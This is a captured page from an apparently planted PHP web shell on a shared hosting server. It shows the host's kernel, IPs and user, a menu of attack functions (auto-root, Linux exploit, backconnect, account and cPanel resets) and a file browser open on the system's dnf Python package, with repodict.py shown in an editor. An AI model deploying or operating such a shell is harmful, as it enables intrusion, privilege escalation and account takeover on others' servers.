Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 3.144.20.66
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3.6 /
site-packages /
dnf /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
cli
[ DIR ]
drwxr-xr-x
conf
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
module
[ DIR ]
drwxr-xr-x
rpm
[ DIR ]
drwxr-xr-x
yum
[ DIR ]
drwxr-xr-x
__init__.py
1.36
KB
-rw-r--r--
base.py
114.74
KB
-rw-r--r--
callback.py
3.64
KB
-rw-r--r--
comps.py
24.24
KB
-rw-r--r--
const.py
2.31
KB
-rw-r--r--
crypto.py
5.98
KB
-rw-r--r--
dnssec.py
11.06
KB
-rw-r--r--
drpm.py
6.2
KB
-rw-r--r--
exceptions.py
5.71
KB
-rw-r--r--
goal.py
1.08
KB
-rw-r--r--
history.py
1.12
KB
-rw-r--r--
i18n.py
12.03
KB
-rw-r--r--
lock.py
5.2
KB
-rw-r--r--
logging.py
10.11
KB
-rw-r--r--
match_counter.py
3.83
KB
-rw-r--r--
package.py
10.94
KB
-rw-r--r--
persistor.py
4.61
KB
-rw-r--r--
plugin.py
9.33
KB
-rw-r--r--
pycomp.py
3.52
KB
-rw-r--r--
query.py
1.55
KB
-rw-r--r--
repo.py
20.32
KB
-rw-r--r--
repodict.py
5.04
KB
-rw-r--r--
sack.py
2.97
KB
-rw-r--r--
selector.py
1.1
KB
-rw-r--r--
subject.py
1.12
KB
-rw-r--r--
transaction.py
4.29
KB
-rw-r--r--
transaction_sr.py
25.59
KB
-rw-r--r--
util.py
19.9
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : repodict.py
# repodict.py # Managing repo configuration in DNF. # # Copyright (C) 2013-2016 Red Hat, Inc. # # This copyrighted material is made available to anyone wishing to use, # modify, copy, or redistribute it subject to the terms and conditions of # the GNU General Public License v.2, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY expressed or implied, including the implied warranties of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General # Public License for more details. You should have received a copy of the # GNU General Public License along with this program; if not, write to the # Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301, USA. Any Red Hat trademarks that are incorporated in the # source code or documentation are not subject to the GNU General Public # License and may only be used or replicated with the express permission of # Red Hat, Inc. # from __future__ import unicode_literals from dnf.exceptions import ConfigError from dnf.i18n import _ import dnf.util import libdnf.conf import fnmatch import os logger = dnf.util.logger class RepoDict(dict): # :api def add(self, repo): # :api id_ = repo.id if id_ in self: msg = 'Repository %s is listed more than once in the configuration' raise ConfigError(msg % id_) try: repo._repo.verify() except RuntimeError as e: raise ConfigError("{0}".format(e)) self[id_] = repo def all(self): # :api return dnf.util.MultiCallList(self.values()) def _any_enabled(self): return not dnf.util.empty(self.iter_enabled()) def _enable_sub_repos(self, sub_name_fn): for repo in self.iter_enabled(): for found in self.get_matching(sub_name_fn(repo.id)): if not found.enabled: logger.info(_('enabling %s repository'), found.id) found.enable() def add_new_repo(self, repoid, conf, baseurl=(), **kwargs): # :api """ Creates new repo object and add it into RepoDict. Variables in provided values will be automatically substituted using conf.substitutions (like $releasever, ...) @param repoid: Repo ID - string @param conf: dnf Base().conf object @param baseurl: List of strings @param kwargs: keys and values that will be used to setattr on dnf.repo.Repo() object @return: dnf.repo.Repo() object """ def substitute(values): if isinstance(values, str): return libdnf.conf.ConfigParser.substitute(values, conf.substitutions) elif isinstance(values, list) or isinstance(values, tuple): substituted = [] for value in values: if isinstance(value, str): substituted.append( libdnf.conf.ConfigParser.substitute(value, conf.substitutions)) if substituted: return substituted return values repo = dnf.repo.Repo(repoid, conf) for path in baseurl: if '://' not in path: path = 'file://{}'.format(os.path.abspath(path)) repo.baseurl += [substitute(path)] for (key, value) in kwargs.items(): setattr(repo, key, substitute(value)) self.add(repo) logger.info(_("Added %s repo from %s"), repoid, ', '.join(baseurl)) return repo def enable_debug_repos(self): # :api """enable debug repos corresponding to already enabled binary repos""" def debug_name(name): return ("{}-debug-rpms".format(name[:-5]) if name.endswith("-rpms") else "{}-debuginfo".format(name)) self._enable_sub_repos(debug_name) def enable_source_repos(self): # :api """enable source repos corresponding to already enabled binary repos""" def source_name(name): return ("{}-source-rpms".format(name[:-5]) if name.endswith("-rpms") else "{}-source".format(name)) self._enable_sub_repos(source_name) def get_matching(self, key): # :api if dnf.util.is_glob_pattern(key): l = [self[k] for k in self if fnmatch.fnmatch(k, key)] return dnf.util.MultiCallList(l) repo = self.get(key, None) if repo is None: return dnf.util.MultiCallList([]) return dnf.util.MultiCallList([repo]) def iter_enabled(self): # :api return (r for r in self.values() if r.enabled) def items(self): """return repos sorted by priority""" return (item for item in sorted(super(RepoDict, self).items(), key=lambda x: (x[1].priority, x[1].cost))) def __iter__(self): return self.keys() def keys(self): return (k for k, v in self.items()) def values(self): return (v for k, v in self.items())
Close